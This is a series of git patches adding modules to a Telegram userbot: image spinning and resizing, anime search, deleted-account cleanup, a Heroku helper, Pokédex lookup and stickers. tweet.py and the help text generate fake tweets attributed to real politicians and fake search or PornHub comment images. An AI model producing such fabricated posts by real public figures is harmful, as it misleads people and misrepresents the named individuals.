+@friday.on(sudo_cmd(pattern=r"spin ?(.*)", allow_sudo=True))
+async def spinshit(message):
+ reply = await message.get_reply_message()
+ lmaodict = {"1": 1, "2": 3, "3": 6, "4": 12, "5": 24, "6": 60}
+ lolshit = message.pattern_match.group(1)
+ keke = f"{lolshit}"
+ if not reply:
+ await message.edit("`Reply To Media First !`")
+ return
+ else:
+ if lolshit:
+ step = lmaodict[keke]
+ else:
+ step = 1
+ pic_loc = await convert_to_image(message, borg)
+ if not pic_loc:
+ await message.edit("`Reply to a valid media first.`")
+ return
+ await message.edit("🌀 `Tighten your seatbelts, sh*t is about to get wild ...`")
+ spin_dir = 1
+ path = "resources/rotate-disc/"
+ if os.path.exists(path):
+ rmtree(path, ignore_errors=True)
+ os.mkdir(path)
+ im = Image.open(pic_loc)
+ if im.mode != "RGB":
+ im = im.convert("RGB")
+ # Rotating pic by given angle and saving
+ for k, nums in enumerate(range(1, 360, step), start=0):
+ y = im.rotate(nums * spin_dir)
+ y.save(os.path.join(path, "spinx%s.jpg" % k))
+ output_vid = os.path.join(path, "out.mp4")
+ # ;__; Maths lol, y = mx + c
+ frate = int(((90 / 59) * step) + (1680 / 59))
+ # https://stackoverflow.com/questions/20847674/ffmpeg-libx264-height-not-divisible-by-2
+ await runcmd(
+ f'ffmpeg -framerate {frate} -i {path}spinx%d.jpg -c:v libx264 -preset ultrafast -vf "crop=trunc(iw/2)*2:trunc(ih/2)*2" -pix_fmt yuv420p {output_vid}'
+ )
+ if os.path.exists(output_vid):
+ round_vid = os.path.join(path, "out_round.mp4")
+ await crop_vid(output_vid, round_vid)
+ await borg.send_file(
+ message.chat_id, round_vid, video_note=True, reply_to=reply.id
+ )
+ await message.delete()
+ os.remove(pic_loc)
+ rmtree(path, ignore_errors=True)
CMD_HELP.update(
@@ -297,6 +391,10 @@ async def hmm(event):
\n**Usage :** Makes a triggered gif of the replied image.\
\n\n**Syntax : ** `.jail`\
\n**Usage :** Makes a jail image of the replied image.\
+ \n\n**Syntax : ** `.fgs searchtext;fake text`\
+ \n**Usage :** Makes a Fake Google Search Image.\
+ \n\n**Syntax : ** `.ph username:fake text`\
+ \n**Usage :** Makes a Fake PornHub comment with given username and text.\
\n\n**Syntax : ** `.greyscale`\
\n**Usage :** Makes a black and white image of the replied image."
}
From 8d0e987ea56bd6032786f324589d756e02e890b8 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:35:01 +0530
Subject: [PATCH 140/838] Create anime.py
---
fridaybot/modules/anime.py | 45 ++++++++++++++++++++++++++++++++++++++
1 file changed, 45 insertions(+)
create mode 100644 fridaybot/modules/anime.py
diff --git a/fridaybot/modules/anime.py b/fridaybot/modules/anime.py
new file mode 100644
index 00000000..cd9e7aa4
--- /dev/null
+++ b/fridaybot/modules/anime.py
@@ -0,0 +1,45 @@
+from anime_downloader.sites import get_anime_class
+
+from fridaybot import CMD_HELP
+from fridaybot.utils import admin_cmd
+
+
+@friday.on(admin_cmd(pattern="anime (.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ input_str = event.pattern_match.group(1)
+ lmao = input_str.split(":", 1)
+ site = lmao[0]
+ lol = lmao[1]
+ why = site.lower()
+
+ Twist = get_anime_class(why)
+ search = Twist.search(lol)
+
+ title1 = search[0].title
+ url1 = search[0].url
+ title2 = search[1].title
+ url2 = search[1].url
+ title3 = search[2].title
+ url3 = search[2].url
+ title4 = search[3].title
+ url4 = search[3].url
+ title5 = search[4].title
+ url5 = search[4].url
+
+ await event.edit(
+ f"Anime Search Complete \n\n\nTitle :- {title1} \nURL Link :- {url1}\n\nTitle :- {title2} \nURL Link :- {url2}\n\nTitle :- {title3} \nURL Link :- {url3}\n\nTitle :- {title4} \nURL Link :- {url4}\n\nTitle :- {title5} \nURL Link :- {url5}",
+ parse_mode="HTML",
+ )
+
+
+CMD_HELP.update(
+ {
+ "anime": "**Anime**\
+\n\n**Syntax : **`.anime `\
+\n**Usage :** Automatically Gets Streaming Link Of The Anime.\
+\n**Example :** `.anime twist.moe:one piece`\
+\n**Note** :** Get Site names list from [Here](https://fridayanime.netlify.app/)."
+ }
+)
From f62e49223ae3539fb0f8adb7b13855c58d224700 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:37:17 +0530
Subject: [PATCH 141/838] Update admin.py
---
fridaybot/modules/admin.py | 128 ++++++++++++++++---------------------
1 file changed, 54 insertions(+), 74 deletions(-)
diff --git a/fridaybot/modules/admin.py b/fridaybot/modules/admin.py
index a2bed860..074f396c 100644
--- a/fridaybot/modules/admin.py
+++ b/fridaybot/modules/admin.py
@@ -32,7 +32,7 @@
)
from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP
-from fridaybot.utils import admin_cmd, errors_handler
+from fridaybot.utils import admin_cmd, errors_handler, sudo_cmd
# =================== CONSTANT ===================
PP_TOO_SMOL = "`The image is too small`"
@@ -435,79 +435,6 @@ async def unmoot(unmot):
)
-@borg.on(admin_cmd(pattern=r"delusers(?: |$)(.*)"))
-@errors_handler
-async def rm_deletedacc(show):
- """ For .delusers command, list all the ghost/deleted accounts in a chat. """
- if not show.is_group:
- await show.edit("`I don't think this is a group.`")
- return
- con = show.pattern_match.group(1)
- del_u = 0
- del_status = "`No deleted accounts found, Group is cleaned as Hell`"
-
- if con != "clean":
- await show.edit("`Searching for zombie accounts...`")
- async for user in show.client.iter_participants(show.chat_id, aggressive=True):
- if user.deleted:
- del_u += 1
- await sleep(1)
- if del_u > 0:
- del_status = f"Found **{del_u}** deleted account(s) in this group,\
- \nclean them by using .delusers clean"
-
- await show.edit(del_status)
- return
-
- # Here laying the sanity check
- chat = await show.get_chat()
- admin = chat.admin_rights
- creator = chat.creator
-
- # Well
- if not admin and not creator:
- await show.edit("`I am not an admin here!`")
- return
-
- await show.edit("`Deleting deleted accounts...\nOh I can do that?!?!`")
- del_u = 0
- del_a = 0
-
- async for user in show.client.iter_participants(show.chat_id):
- if user.deleted:
- try:
- await show.client(
- EditBannedRequest(show.chat_id, user.id, BANNED_RIGHTS)
- )
- except ChatAdminRequiredError:
- await show.edit("`I don't have ban rights in this group`")
- return
- except UserAdminInvalidError:
- del_u -= 1
- del_a += 1
- await show.client(EditBannedRequest(show.chat_id, user.id, UNBAN_RIGHTS))
- del_u += 1
-
- if del_u > 0:
- del_status = f"Cleaned **{del_u}** deleted account(s)"
-
- if del_a > 0:
- del_status = f"Cleaned **{del_u}** deleted account(s) \
- \n**{del_a}** deleted admin accounts are not removed"
-
- await show.edit(del_status)
- await sleep(2)
- await show.delete()
-
- if BOTLOG:
- await show.client.send_message(
- BOTLOG_CHATID,
- "#CLEANUP\n"
- f"Cleaned **{del_u}** deleted account(s) !!\
- \nCHAT: {show.chat.title}(`{show.chat_id}`)",
- )
-
-
# @register(outgoing=True, pattern="^.adminlist$")
@borg.on(admin_cmd(pattern=r"adminlist"))
@errors_handler
@@ -670,6 +597,59 @@ async def get_users(show):
remove("userslist.txt")
+@borg.on(admin_cmd(pattern="zombies(?: |$)(.*)", allow_sudo=True))
+@borg.on(sudo_cmd(pattern="zombies(?: |$)(.*)", allow_sudo=True))
+async def rm_deletedacc(show):
+ con = show.pattern_match.group(1).lower()
+ del_u = 0
+ del_status = "`No deleted accounts found, Group is clean`"
+ if con != "clean":
+ await show.edit("`Searching for ghost/deleted/zombie accounts...`")
+ async for user in show.client.iter_participants(show.chat_id):
+
+ if user.deleted:
+ del_u += 1
+ await sleep(1)
+ if del_u > 0:
+ del_status = f"`Found` **{del_u}** `ghost/deleted/zombie account(s) in this group,\
+ \nclean them by using .zombies clean`"
+
+ await show.edit(del_status)
+ return
+ chat = await show.get_chat()
+ admin = chat.admin_rights
+ creator = chat.creator
+ if not admin and not creator:
+ await show.edit("`I am not an admin here!`")
+ return
+ await show.edit("`Deleting deleted accounts...\nOh I can do that?!?!`")
+ del_u = 0
+ del_a = 0
+ async for user in show.client.iter_participants(show.chat_id):
+ if user.deleted:
+ try:
+ await show.client(
+ EditBannedRequest(show.chat_id, user.id, BANNED_RIGHTS)
+ )
+ except ChatAdminRequiredError:
+ await show.edit("`I don't have ban rights in this group`")
+ return
+ except UserAdminInvalidError:
+ del_u -= 1
+ del_a += 1
+ await show.client(EditBannedRequest(show.chat_id, user.id, UNBAN_RIGHTS))
+ del_u += 1
+ if del_u > 0:
+ del_status = f"Cleaned **{del_u}** deleted account(s)"
+ if del_a > 0:
+ del_status = f"Cleaned **{del_u}** deleted account(s) \
+ \n**{del_a}** deleted admin accounts are not removed"
+
+ await show.edit(del_status)
+ await sleep(2)
+ await show.delete()
+
+
async def get_user_from_event(event):
""" Get the user from argument or replied message. """
args = event.pattern_match.group(1).split(" ", 1)
From 4c4b2a1778cd306e5f396fbc9bb414dc1534083b Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 07:22:13 +0530
Subject: [PATCH 142/838] Create heroku_helper.py
---
fridaybot/function/heroku_helper.py | 30 +++++++++++++++++++++++++++++
1 file changed, 30 insertions(+)
create mode 100644 fridaybot/function/heroku_helper.py
diff --git a/fridaybot/function/heroku_helper.py b/fridaybot/function/heroku_helper.py
new file mode 100644
index 00000000..4b5a82f6
--- /dev/null
+++ b/fridaybot/function/heroku_helper.py
@@ -0,0 +1,30 @@
+# Ported From https://github.com/jaskaranSM/HerokuManagerBot
+
+import heroku3
+
+from var import Var
+
+herokuclient = heroku3.from_key(Var.HEROKU_API_KEY)
+
+
+class HerokuHelper:
+ def __init__(self, appName, apiKey):
+ self.API_KEY = apiKey
+ self.APP_NAME = appName
+ self.herokuclient = self.getherokuclient()
+ self.app = self.herokuclient.apps()[self.APP_NAME]
+
+ def getherokuclient(self):
+ return heroku3.from_key(self.API_KEY)
+
+ def getAccount(self):
+ return self.herokuclient.account()
+
+ def getLog(self):
+ return self.app.get_log()
+
+ def addEnvVar(self, key, value):
+ self.app.config()[key] = value
+
+ def restart(self):
+ return self.app.restart()
From 681b969d8ef5c0400405e75369a754b496118b76 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 07:24:25 +0530
Subject: [PATCH 143/838] Create pokedex.py
---
fridaybot/modules/pokedex.py | 129 +++++++++++++++++++++++++++++++++++
1 file changed, 129 insertions(+)
create mode 100644 fridaybot/modules/pokedex.py
diff --git a/fridaybot/modules/pokedex.py b/fridaybot/modules/pokedex.py
new file mode 100644
index 00000000..51ad22cb
--- /dev/null
+++ b/fridaybot/modules/pokedex.py
@@ -0,0 +1,129 @@
+# Copyright (C) @chsaiujwal 2020
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program. If not, see .
+
+from pokedex import pokedex
+
+from fridaybot import CMD_HELP
+from fridaybot.utils import admin_cmd
+
+
+@friday.on(admin_cmd(pattern="pokedex (.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ input_str = event.pattern_match.group(1)
+ pokedx = pokedex.Pokedex()
+ pokemen = pokedx.get_pokemon_by_name(input_str)
+ pokemon = pokemen[0]
+ name = str(pokemon.get("name"))
+ number = str(pokemon.get("number"))
+ species = str(pokemon.get("species"))
+ typo = pokemon.get("types")
+ types = ""
+ for tu in typo:
+ types += str(tu) + ", "
+
+ lol = pokemon.get("abilities")
+ lmao = lol.get("normal")
+ ok = ""
+ for ty in lmao:
+ ok = str(ty) + ", "
+
+ kk = lol.get("hidden")
+ hm = ""
+ for pq in kk:
+ hm += str(pq) + ", "
+ hell = pokemon.get("eggGroups")
+ uio = ""
+ for x in hell:
+ uio += str(x) + ", "
+
+ height = pokemon.get("height")
+ weight = pokemon.get("weight")
+ yes = pokemon.get("family")
+ Id = str(yes.get("id"))
+ evo = str(yes.get("evolutionStage"))
+ pol = yes.get("evolutionLine")
+ xy = ""
+ for p in pol:
+ xy += str(p) + ", "
+
+ start = pokemon.get("starter")
+ if start == False:
+ start = "No"
+ elif start == True:
+ start = "True"
+ else:
+ pass
+
+ leg = pokemon.get("legendary")
+
+ if leg == False:
+ leg = "No"
+ elif leg == True:
+ leg = "True"
+ else:
+ pass
+
+ myt = pokemon.get("mythical")
+ if myt == False:
+ myt = "No"
+ elif myt == True:
+ myt = "True"
+ else:
+ pass
+ ultra = pokemon.get("ultraBeast")
+
+ if ultra == False:
+ ultra = "No"
+ elif ultra == True:
+ ultra = "True"
+ else:
+ pass
+
+ megA = pokemon.get("mega")
+
+ if megA == False:
+ megA = "No"
+ elif megA == True:
+ megA = "True"
+ else:
+ pass
+
+ gEn = pokemon.get("gen")
+ link = pokemon.get("sprite")
+ des = pokemon.get("description")
+
+ # hope = await borg(event.chat_id, link)
+ caption = f"Pokemon Information Gathered Successfully \n\n\nName:- {name}\nNumber:- {number}\nSpecies:- {species}\nType:- {types}\n\nAbilities \nNormal Abilities:- {ok}\nHidden Abilities:- {hm}\nEgg Group:- {uio}\nHeight:- {height}\nWeight:- {weight}\n\nFamily \nID:- {Id}\nEvolution Stage:- {evo}\nEvolution Line:- {xy}\nStarter:- {start}\nLegendary:- {leg}\nMythical:- {myt}\nUltra Beast:- {ultra}\nMega:- {megA}\nGen:- {gEn}\nDescription:- {des} "
+
+ await borg.send_message(
+ event.chat_id,
+ caption,
+ parse_mode="HTML",
+ file=link,
+ force_document=False,
+ silent=True,
+ )
+ await event.delete()
+
+
+CMD_HELP.update(
+ {
+ "pokedex": "**Pokedex**\
+\n\n**Syntax : **`.pokedex `\
+\n**Usage :** Gives Information About Given Pokemon.\
+\n\n**Example : **`.pokedex pikachu`\
+\nThis above syntax gives Information about Pikachu"
+ }
+)
From 5254af27981bfd169416e34f6508f703c37f8263 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 07:29:09 +0530
Subject: [PATCH 144/838] Create sizeresize.py
---
fridaybot/modules/sizeresize.py | 50 +++++++++++++++++++++++++++++++++
1 file changed, 50 insertions(+)
create mode 100644 fridaybot/modules/sizeresize.py
diff --git a/fridaybot/modules/sizeresize.py b/fridaybot/modules/sizeresize.py
new file mode 100644
index 00000000..0fc1d405
--- /dev/null
+++ b/fridaybot/modules/sizeresize.py
@@ -0,0 +1,50 @@
+import PIL
+from fridaybot.utils import admin_cmd
+from fridaybot import CMD_HELP
+import pygments, os, asyncio
+from pygments.lexers import Python3Lexer
+from pygments.formatters import ImageFormatter
+from ..utils import admin_cmd
+from fridaybot import bot
+from fridaybot import bot as borg
+@bot.on(admin_cmd(pattern="size ?(.*)", outgoing=True))
+# DONOT KANG by Sh1vam
+#Team DC
+async def __(event):
+
+ path = "shivamdownloadesimg"
+
+ reply = await event.get_reply_message()
+
+ download = await borg.download_media(reply.media, path)
+ image = PIL.Image.open(download)
+ shvm=PIL.Image.open(download)
+ shi,vam = image.size
+ #img=shvm.resize((int(sh1),int(vam)))
+ await event.edit(f"Dimensions Of Image are {shi} by {vam}")
+ os.remove(download)
+@bot.on(admin_cmd(pattern="resize ?(.*)", outgoing=True))
+# DONOT KANG by Sh1vam
+async def __(event):
+
+ path = "shivamdownloades"
+ licence = event.text
+ liscence=licence[8:]
+ await event.delete()
+ reply = await event.get_reply_message()
+
+ download = await borg.download_media(reply.media, path)
+ #image = PIL.Image.open(download)
+ shvm=PIL.Image.open(download)
+ shi,vam = liscence.split(":")
+ img=shvm.resize((int(shi),int(vam)))
+ #await event.edit(f"Dimensions Of Image are {shi} by {vam}")
+ img.save("sh1vam.png", format="PNG", optimize=True)
+ await event.client.send_file(event.chat_id, "sh1vam.png", force_document=True, reply_to=event.reply_to_msg_id)
+ await event.client.send_file(event.chat_id, "sh1vam.png", force_document=False, reply_to=event.reply_to_msg_id)
+ os.remove(download)
+ os.remove("sh1vam.png")
+
+
+
+
From 2eef3b5c14ca5025740337d657cc961396d37706 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 07:31:40 +0530
Subject: [PATCH 145/838] Create sticklet.py
---
fridaybot/modules/sticklet.py | 77 +++++++++++++++++++++++++++++++++++
1 file changed, 77 insertions(+)
create mode 100644 fridaybot/modules/sticklet.py
diff --git a/fridaybot/modules/sticklet.py b/fridaybot/modules/sticklet.py
new file mode 100644
index 00000000..6f4f4321
--- /dev/null
+++ b/fridaybot/modules/sticklet.py
@@ -0,0 +1,77 @@
+"""
+Command - .sticklet
+Make sticker of text with random colour and font.
+"""
+
+import io
+import os
+import random
+import textwrap
+
+from PIL import Image, ImageDraw, ImageFont
+from telethon.tl.types import InputMessagesFilterDocument
+from ..utils import admin_cmd
+
+
+@borg.on(admin_cmd(pattern="sticklet (.*)"))
+async def sticklet(event):
+ R = random.randint(0,256)
+ G = random.randint(0,256)
+ B = random.randint(0,256)
+
+ # get the input text
+ # the text on which we would like to do the magic on
+ sticktext = event.pattern_match.group(1)
+
+ # delete the userbot command,
+ await event.delete()
+
+ # https://docs.python.org/3/library/textwrap.html#textwrap.wrap
+ sticktext = textwrap.wrap(sticktext, width=10)
+ # converts back the list to a string
+ sticktext = '\n'.join(sticktext)
+
+ image = Image.new("RGBA", (512, 512), (255, 255, 255, 0))
+ draw = ImageDraw.Draw(image)
+ fontsize = 230
+
+ FONT_FILE = await get_font_file(event.client, "@FontHub")
+
+ font = ImageFont.truetype(FONT_FILE, size=fontsize)
+
+ while draw.multiline_textsize(sticktext, font=font) > (512, 512):
+ fontsize -= 3
+ font = ImageFont.truetype(FONT_FILE, size=fontsize)
+
+ width, height = draw.multiline_textsize(sticktext, font=font)
+ draw.multiline_text(((512-width)/2,(512-height)/2), sticktext, font=font, fill=(R, G, B))
+
+ image_stream = io.BytesIO()
+ image_stream.name = "leobrownlee.webp"
+ image.save(image_stream, "WebP")
+ image_stream.seek(0)
+
+ # finally, reply the sticker
+ await event.client.send_message(event.chat_id, "{}".format(sticktext), file=image_stream, reply_to=event.message.reply_to_msg_id)
+
+ # cleanup
+ try:
+ os.remove(FONT_FILE)
+ except:
+ pass
+
+
+async def get_font_file(client, channel_id):
+ # first get the font messages
+ font_file_message_s = await client.get_messages(
+ entity=channel_id,
+ filter=InputMessagesFilterDocument,
+ # this might cause FLOOD WAIT,
+ # if used too many times
+ limit=None
+ )
+ # get a random font from the list of fonts
+ # https://docs.python.org/3/library/random.html#random.choice
+ font_file_message = random.choice(font_file_message_s)
+ # download and return the file path
+ return await client.download_media(font_file_message)
From 54e105b69c277cd27a55d96763c41bce9fc0d0f4 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 07:33:51 +0530
Subject: [PATCH 146/838] Create superstar.py
---
fridaybot/modules/superstar.py | 42 ++++++++++++++++++++++++++++++++++
1 file changed, 42 insertions(+)
create mode 100644 fridaybot/modules/superstar.py
diff --git a/fridaybot/modules/superstar.py b/fridaybot/modules/superstar.py
new file mode 100644
index 00000000..748d3971
--- /dev/null
+++ b/fridaybot/modules/superstar.py
@@ -0,0 +1,42 @@
+"""command:.sr"""
+
+from telethon import events
+
+import asyncio
+
+
+
+
+
+@borg.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True))
+
+async def _(event):
+
+ if event.fwd_from:
+
+ return
+
+ animation_interval = 2
+
+ animation_ttl = range(0, 11)
+
+ input_str = event.pattern_match.group(1)
+
+ if input_str == "star":
+
+ await event.edit(input_str)
+
+ animation_chars = [
+
+ "I Party like a rockstar",
+ "I Look like a movie star",
+ "I Play like an all star",
+ "I Fuck like a pornstar",
+ "Baby I'm a superstar"
+ ]
+
+ for i in animation_ttl:
+
+ await asyncio.sleep(animation_interval)
+
+ await event.edit(animation_chars[i % 11])
From abccbfac80872b29ef1273559e17aea375fe4e9a Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 07:36:27 +0530
Subject: [PATCH 147/838] Create tweet.py
---
fridaybot/modules/tweet.py | 390 +++++++++++++++++++++++++++++++++++++
1 file changed, 390 insertions(+)
create mode 100644 fridaybot/modules/tweet.py
diff --git a/fridaybot/modules/tweet.py b/fridaybot/modules/tweet.py
new file mode 100644
index 00000000..68629e23
--- /dev/null
+++ b/fridaybot/modules/tweet.py
@@ -0,0 +1,390 @@
+import os
+import re
+import requests
+from validators.url import url
+from asyncio import sleep
+from random import choice, getrandbits, randint
+import random
+import time
+from telethon import events
+from userbot import bot
+from collections import deque
+import sys
+import html
+import json
+from PIL import Image, ImageEnhance, ImageOps
+from fridaybot import CMD_HELP, bot
+from fridaybot.events import register
+from fridaybot.tweet import moditweet, johnnytweet, sunnytweet, bhautweet, jtweet, miatweet
+from fridaybot.utils import admin_cmd
+
+EMOJI_PATTERN = re.compile(
+ "["
+ "\U0001F1E0-\U0001F1FF" # flags (iOS)
+ "\U0001F300-\U0001F5FF" # symbols & pictographs
+ "\U0001F600-\U0001F64F" # emoticons
+ "\U0001F680-\U0001F6FF" # transport & map symbols
+ "\U0001F700-\U0001F77F" # alchemical symbols
+ "\U0001F780-\U0001F7FF" # Geometric Shapes Extended
+ "\U0001F800-\U0001F8FF" # Supplemental Arrows-C
+ "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs
+ "\U0001FA00-\U0001FA6F" # Chess Symbols
+ "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A
+ "\U00002702-\U000027B0" # Dingbats
+ "]+"
+)
+
+
+def deEmojify(inputString: str) -> str:
+ return re.sub(EMOJI_PATTERN, "", inputString)
+
+
+# for nekobot
+async def trumptweet(text):
+ r = requests.get(
+ f"https://nekobot.xyz/api/imagegen?type=trumptweet&text={text}"
+ ).json()
+ geng = r.get("message")
+ kapak = url(geng)
+ if not kapak:
+ return "check syntax once more"
+ with open("gpx.png", "wb") as f:
+ f.write(requests.get(geng).content)
+ img = Image.open("gpx.png").convert("RGB")
+ img.save("gpx.webp", "webp")
+ return "gpx.webp"
+
+
+async def changemymind(text):
+ r = requests.get(
+ f"https://nekobot.xyz/api/imagegen?type=changemymind&text={text}"
+ ).json()
+ geng = r.get("message")
+ kapak = url(geng)
+ if not kapak:
+ return "check syntax once more"
+ with open("gpx.png", "wb") as f:
+ f.write(requests.get(geng).content)
+ img = Image.open("gpx.png").convert("RGB")
+ img.save("gpx.webp", "webp")
+ return "gpx.webp"
+
+
+
+
+
+
+
+async def tweets(text1, text2):
+ r = requests.get(
+ f"https://nekobot.xyz/api/imagegen?type=tweet&text={text1}&username={text2}"
+ ).json()
+ geng = r.get("message")
+ kapak = url(geng)
+ if not kapak:
+ return "check syntax once more"
+ with open("gpx.png", "wb") as f:
+ f.write(requests.get(geng).content)
+ img = Image.open("gpx.png").convert("RGB")
+ img.save("gpx.webp", "webp")
+ return "gpx.webp"
+
+
+async def purge():
+ try:
+ os.remove("gpx.png")
+ os.remove("gpx.webp")
+ except OSError:
+ pass
+
+
+#@register(outgoing=True, pattern=r"^\.trump(?: |$)(.*)")
+@borg.on(admin_cmd(outgoing=True, pattern="trump ?(.*)"))
+async def trump(event):
+ text = event.pattern_match.group(1)
+ text = re.sub("&", "", text)
+ reply_to_id = event.message
+ if event.reply_to_msg_id:
+ reply_to_id = await event.get_reply_message()
+ if not text:
+ if event.is_reply and not reply_to_id.media:
+ text = reply_to_id.message
+ else:
+ await event.edit("`Send you text to trump so he can tweet.`")
+ return
+ await event.edit("`Requesting trump to tweet...`")
+ text = deEmojify(text)
+ img = await trumptweet(text)
+ await event.client.send_file(event.chat_id, img, reply_to=reply_to_id)
+ await event.delete()
+ await purge()
+
+#@register(outgoing=True, pattern=r"^\.johnny(?: |$)(.*)")
+@borg.on(admin_cmd(outgoing=True, pattern="johnny ?(.*)"))
+
+async def johnny(event):
+ text = event.pattern_match.group(1)
+ text = re.sub("&", "", text)
+ reply_to_id = event.message
+ if event.reply_to_msg_id:
+ reply_to_id = await event.get_reply_message()
+ if not text:
+ if event.is_reply and not reply_to_id.media:
+ text = reply_to_id.message
+ else:
+ await event.edit("`Send you text to Johnny so he can tweet.`")
+ return
+ await event.edit("`Requesting Johnny to tweet...`")
+ text = deEmojify(text)
+ img = await johnnytweet(text)
+ await event.client.send_file(event.chat_id, img, reply_to=reply_to_id)
+ await event.delete()
+ await purge()
+
+#@register(outgoing=True, pattern=r"^\.bhau(?: |$)(.*)")
+@borg.on(admin_cmd(outgoing=True, pattern="bhau ?(.*)"))
+async def bhau(event):
+ text = event.pattern_match.group(1)
+ text = re.sub("&", "", text)
+ reply_to_id = event.message
+ if event.reply_to_msg_id:
+ reply_to_id = await event.get_reply_message()
+ if not text:
+ if event.is_reply and not reply_to_id.media:
+ text = reply_to_id.message
+ else:
+ await event.edit("`Send you text to Hindustani Bhau so he can tweet.`")
+ return
+ await event.edit("`Requesting Hindustani bhau to tweet...`")
+ text = deEmojify(text)
+ img = await bhautweet(text)
+ await event.client.send_file(event.chat_id, img, reply_to=reply_to_id)
+ await event.delete()
+ await purge()
+
+
+#@register(outgoing=True, pattern=r"^\.sunny(?: |$)(.*)")
+@borg.on(admin_cmd(outgoing=True, pattern="sunny ?(.*)"))
+async def sunny(event):
+ text = event.pattern_match.group(1)
+ text = re.sub("&", "", text)
+ reply_to_id = event.message
+ if event.reply_to_msg_id:
+ reply_to_id = await event.get_reply_message()
+ if not text:
+ if event.is_reply and not reply_to_id.media:
+ text = reply_to_id.message
+ else:
+ await event.edit("`Send you text to Sunny so he can tweet.`")
+ return
+ await event.edit("`Requesting Sunny to tweet...`")
+ text = deEmojify(text)
+ img = await sunnytweet(text)
+ await event.client.send_file(event.chat_id, img, reply_to=reply_to_id)
+ await event.delete()
+ await purge()
+
+#@register(outgoing=True, pattern=r"^\.joker(?: |$)(.*)")
+@borg.on(admin_cmd(outgoing=True, pattern="joker ?(.*)"))
+async def j(event):
+ text = event.pattern_match.group(1)
+ text = re.sub("&", "", text)
+ reply_to_id = event.message
+ if event.reply_to_msg_id:
+ reply_to_id = await event.get_reply_message()
+ if not text:
+ if event.is_reply and not reply_to_id.media:
+ text = reply_to_id.message
+ else:
+ await event.edit("`Send you text to 🃏 Joker so he can tweet.`")
+ return
+ await event.edit("`Requesting 🃏 Joker to tweet...`")
+ text = deEmojify(text)
+ img = await jtweet(text)
+ await event.client.send_file(event.chat_id, img, reply_to=reply_to_id)
+ await event.delete()
+ await purge()
+
+#@register(outgoing=True, pattern=r"^\.modi(?: |$)(.*)")
+@borg.on(admin_cmd(outgoing=True, pattern="modi ?(.*)"))
+async def modi(event):
+ text = event.pattern_match.group(1)
+ text = re.sub("&", "", text)
+ reply_to_id = event.message
+ if event.reply_to_msg_id:
+ reply_to_id = await event.get_reply_message()
+ if not text:
+ if event.is_reply and not reply_to_id.media:
+ text = reply_to_id.message
+ else:
+ await event.edit("`Send you text to Modi so he can tweet.`")
+ return
+ await event.edit("`Requesting Modi to tweet...`")
+ text = deEmojify(text)
+ img = await moditweet(text)
+ await event.client.send_file(event.chat_id, img, reply_to=reply_to_id)
+ await event.delete()
+ await purge()
+
+
+
+#@register(outgoing=True, pattern=r"^\.mia(?: |$)(.*)")
+@borg.on(admin_cmd(outgoing=True, pattern="mia ?(.*)"))
+async def mia(event):
+ text = event.pattern_match.group(1)
+ text = re.sub("&", "", text)
+ reply_to_id = event.message
+ if event.reply_to_msg_id:
+ reply_to_id = await event.get_reply_message()
+ if not text:
+ if event.is_reply and not reply_to_id.media:
+ text = reply_to_id.message
+ else:
+ await event.edit("`Send you text to Mia so he can tweet.`")
+ return
+ await event.edit("`Requesting Mia to tweet...`")
+ text = deEmojify(text)
+ img = await miatweet(text)
+ await event.client.send_file(event.chat_id, img, reply_to=reply_to_id)
+ await event.delete()
+ await purge()
+
+#@register(outgoing=True, pattern=r"^\.cmm(?: |$)(.*)")
+@borg.on(admin_cmd(outgoing=True, pattern="cmm ?(.*)"))
+async def cmm(event):
+ text = event.pattern_match.group(1)
+ text = re.sub("&", "", text)
+ reply_to_id = event.message
+ if event.reply_to_msg_id:
+ reply_to_id = await event.get_reply_message()
+ if not text:
+ if event.is_reply and not reply_to_id.media:
+ text = reply_to_id.message
+ else:
+ await event.edit("`Give text for to write on banner!`")
+ return
+ await event.edit("`Your banner is under creation wait a sec...`")
+ text = deEmojify(text)
+ img = await changemymind(text)
+ await event.client.send_file(event.chat_id, img, reply_to=reply_to_id)
+ await event.delete()
+ await purge()
+
+
+
+#@register(outgoing=True, pattern="^.type(?: |$)(.*)")
+@borg.on(admin_cmd(outgoing=True, pattern="type ?(.*)"))
+async def type(animu):
+#"""Generate random waifu sticker with the text!"""
+
+ text = animu.pattern_match.group(1)
+ if not text:
+ if animu.is_reply:
+ text = (await animu.get_reply_message()).message
+ else:
+ await animu.answer("`No text given.`")
+ return
+ animus = [1, 2, 3, 4, 5, 6, 8, 7, 10, 11, 13, 22, 34, 35, 36, 37, 43, 44, 45, 52, 53]
+ sticcers = await bot.inline_query(
+ "stickerizerbot", f"#{random.choice(animus)}{(deEmojify(text))}")
+ await sticcers[0].click(animu.chat_id,
+ reply_to=animu.reply_to_msg_id,
+ silent=True if animu.is_reply else False,
+ hide_via=True)
+ await animu.delete()
+
